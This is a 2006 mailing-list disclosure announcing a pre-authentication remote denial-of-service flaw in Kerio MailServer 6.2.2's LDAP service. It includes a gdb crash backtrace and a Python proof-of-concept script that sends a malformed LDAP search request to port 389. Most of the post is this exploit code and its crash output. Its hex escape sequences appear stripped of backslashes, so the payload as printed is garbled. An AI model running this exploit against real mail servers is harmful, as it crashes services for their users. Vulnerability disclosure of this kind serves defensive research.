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kms1.py.txt

Posted on 15 December 2006

Hi,

Kerio MailServer 6.3.1 changelog mentions the following bug fix:
'Fixed possible service stop when handling certain LDAP query'

It turns out that vd_kms6 vulnerability (which is a part of VulnDisco since Oct,
2006) has been fixed.

Below is a simple proof of concept code for this bug:

#!/usr/bin/env python
# kms1.py - Kerio MailServer 6.2.2 preauth remote DoS
# fixed in Kerio MailServer 6.3.1
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.


"""
gdb backtrace:
# gdb -q ./mailserver core.18450
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Reading symbols from shared object read from target memory...(no debugging
symbols found)...done.
Loaded system supplied DSO at 0xb76000
Core was generated by `/opt/kerio/mailserver/mailserver /opt/kerio/mailserver'.
Program terminated with signal 11, Segmentation fault.
...
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x0821c444 in LDAPSearchRequest::parsePagedResults ()
(gdb) bt
#0  0x0821c444 in LDAPSearchRequest::parsePagedResults ()
#1  0x0821c387 in LDAPSearchRequest::setAll ()
#2  0x08093d8a in Ber::getSearchRequest ()
#3  0x08205e48 in LDAPServer::search ()
#4  0x08207de0 in LDAPServer::server ()
#5  0x08207e2e in ldap_handler ()
#6  0x0841be13 in KServerTask::handler ()
#7  0x082033c6 in KThreadPool::workerThread ()
#8  0x086ee7b6 in kerio::tiny::thread ()
#9  0x00772b80 in start_thread () from /lib/libpthread.so.0
#10 0x00558dee in clone () from /lib/libc.so.6
(gdb) x/i $eip
0x821c444 <_ZN17LDAPSearchRequest17parsePagedResultsE13LDAPExtension+12>:
mov    (%eax),%edx
(gdb) i r eax
eax            0x449    1097
"""

from socket import *

host = "localhost"
port = 389

s =  "x30x82x04x4dx02x01x26x63x82x04x46x04x00x0ax01x02"
s += "x0ax01x00x02x01x00x02x01x00x01x01x00x87x0bx6fx62"
s += "x6ax65x63x74x43x6cx61x73x73x30x02x04x00xa0x82x04"
s += "x20x30x82x04x1c"
s += "x01"*1024
s += "x16x31x2ex32x2ex38x34x30x2ex31x31"
s += "x33x35x35x36x2ex31x2ex34x2ex34x37x33x01x01x00x04"
s += "x00"

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host,port))
sock.sendall(s)
sock.recv(10000)
sock.close()

Regards,
-Evgeny

 

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